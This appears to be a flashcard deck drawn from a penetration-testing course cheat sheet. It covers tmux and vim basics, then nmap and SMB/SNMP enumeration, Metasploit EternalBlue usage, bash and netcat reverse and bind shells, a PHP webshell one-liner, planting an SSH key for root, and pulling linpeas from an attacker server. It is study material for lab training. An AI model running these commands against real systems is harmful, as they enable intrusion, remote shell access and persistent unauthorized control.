Cheat Sheet Flashcards

1
Q

uname -a

A

Geeft kernel en OS informatie van het systeem

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

netstat -rn

A

Toon netwerken die toegankelijk zijn via het VPN

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Wat is de tmux: default prefix

A

ctrl+b

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Wat is de tmux: new window

A

prefix c

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

tmux: switch to window (1)

A

prefix 1

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

tmux: split pane vertically

A

prefix shift+%

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

tmux: split pane horizontally

A

prefix shift+”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

tmux: switch to the right pane

A

prefix ->

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

tmux: close current pane

A

prefix b+X

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

vim: enter insert mode

A

esc+i

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

vim: back to normal mode

A

esc

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

vim: Cut character

A

x

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

vim: Cut word

A

dw

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

vim: Cut full line

A

dd

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

vim: Copy word

A

yw

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

vim: Copy full line

A

yy

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

vim: Paste

A

p

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

vim: Go to line number 1.

A

:1

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

vim: Write the file ‘i.e. save’

A

:w

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

vim: Quit

A

:q

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

vim: Quit without saving

A

:q!

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

vim: Write and quit

A

:wq

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

Run nmap on an IP

A

nmap 10.129.42.253

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

Run an nmap script scan on an IP

A

nmap -sV -sC -p- 10.129.42.253

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

List various available nmap scripts

A

locate scripts/citrix

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

Run an nmap script on an IP

A

nmap –script smb-os-discovery.nse -p445 10.10.10.40

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

Grab banner of an open port

A

netcat 10.10.10.10 22

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

List SMB Shares

A

smbclient -N -L \\10.129.42.253

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

Connect to an SMB share

A

smbclient \\10.129.42.253\users

30
Q

Scan SNMP on an IP

A

snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0

31
Q

Brute force SNMP secret string

A

onesixtyone -c dict.txt 10.129.42.254

32
Q

Run a directory scan on a website

A

gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

33
Q

Run a sub-domain scan on a website

A

gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt

34
Q

Grab website banner

A

curl -IL https://www.inlanefreight.com

35
Q

List details about the webserver/certificates

A

whatweb 10.10.10.121

36
Q

List potential directories in robots.txt

A

curl 10.10.10.121/robots.txt

37
Q

View page source (in Firefox)

A

ctrl+U

38
Q

Search for public exploits for a web application

A

searchsploit openssh 7.2

39
Q

MSF: Start the Metasploit Framework

A

msfconsole

40
Q

MSF: Search for public exploits in MSF

A

search exploit eternalblue

41
Q

MSF: Start using an MSF module

A

use exploit/windows/smb/ms17_010_psexec

42
Q

MSF: Show required options for an MSF module

A

show options

43
Q

MSF: Set a value for an MSF module option

A

set RHOSTS 10.10.10.40

44
Q

MSF: Unset value

A

unset RHOSTS

45
Q

MSF: Test if the target server is vulnerable

A

check

46
Q

MSF: Run the exploit on the target server is vulnerable

A

exploit / run

47
Q

Start a nc listener on a local port

A

nc -lvnp 1234

48
Q

Send a reverse shell from the remote server

A

bash -c ‘bash -i >& /dev/tcp/10.10.10.10/1234 0>&1’

49
Q

Another command to send a reverse shell from the remote server

A

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

50
Q

Start a bind shell on the remote server

A

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

51
Q

Connect to a bind shell started on the remote server

A

nc 10.10.10.1 1234

52
Q

Upgrade shell TTY (1)

A

python -c ‘import pty; pty.spawn(“/bin/bash”)’

53
Q

Upgrade shell TTY (2)

A

ctrl+z then stty raw -echo then fg then enter twice

54
Q

Create a webshell php file

A

echo “<?php system($_GET[‘cmd’]);?>” > /var/www/html/shell.php

55
Q

Execute a command on an uploaded webshell

A

curl http://SERVER_IP:PORT/shell.php?cmd=id

56
Q

Run linpeas script to enumerate remote server

A

./linpeas.sh

57
Q

List available sudo privileges

A

sudo -l

58
Q

Run a command with sudo

A

sudo -u user /bin/echo Hello World!

59
Q

Switch to root user (if we have access to sudo su)

A

sudo su -

60
Q

Switch to a user (if we have access to sudo su)

A

sudo su user -

61
Q

Create a new SSH key

A

ssh-keygen -f key

62
Q

Add the generated public key to the user

A

echo “ssh-rsa AAAAB…SNIP…M= user@parrot”&raquo_space; /root/.ssh/authorized_keys

63
Q

SSH to the server with the generated private key

A

ssh root@10.10.10.10 -i key

64
Q

Start a local webserver

A

python3 -m http.server 8000

65
Q

Download a file on the remote server from our local machine

A

wget http://10.10.14.1:8000/linpeas.sh

66
Q

Download a file on the remote server from our local machine

A

curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

67
Q

Transfer a file to the remote server with scp (requires SSH access)

A

scp linenum.sh user@remotehost:/tmp/linenum.sh

68
Q

Convert a file to base64

A

base64 shell -w 0

69
Q

Convert a file from base64 back to its orig

A

echo f0VMR…SNIO…InmDwU | base64 -d > shell

70
Q

Check the file’s md5sum to ensure it converted correctly

A

md5sum shell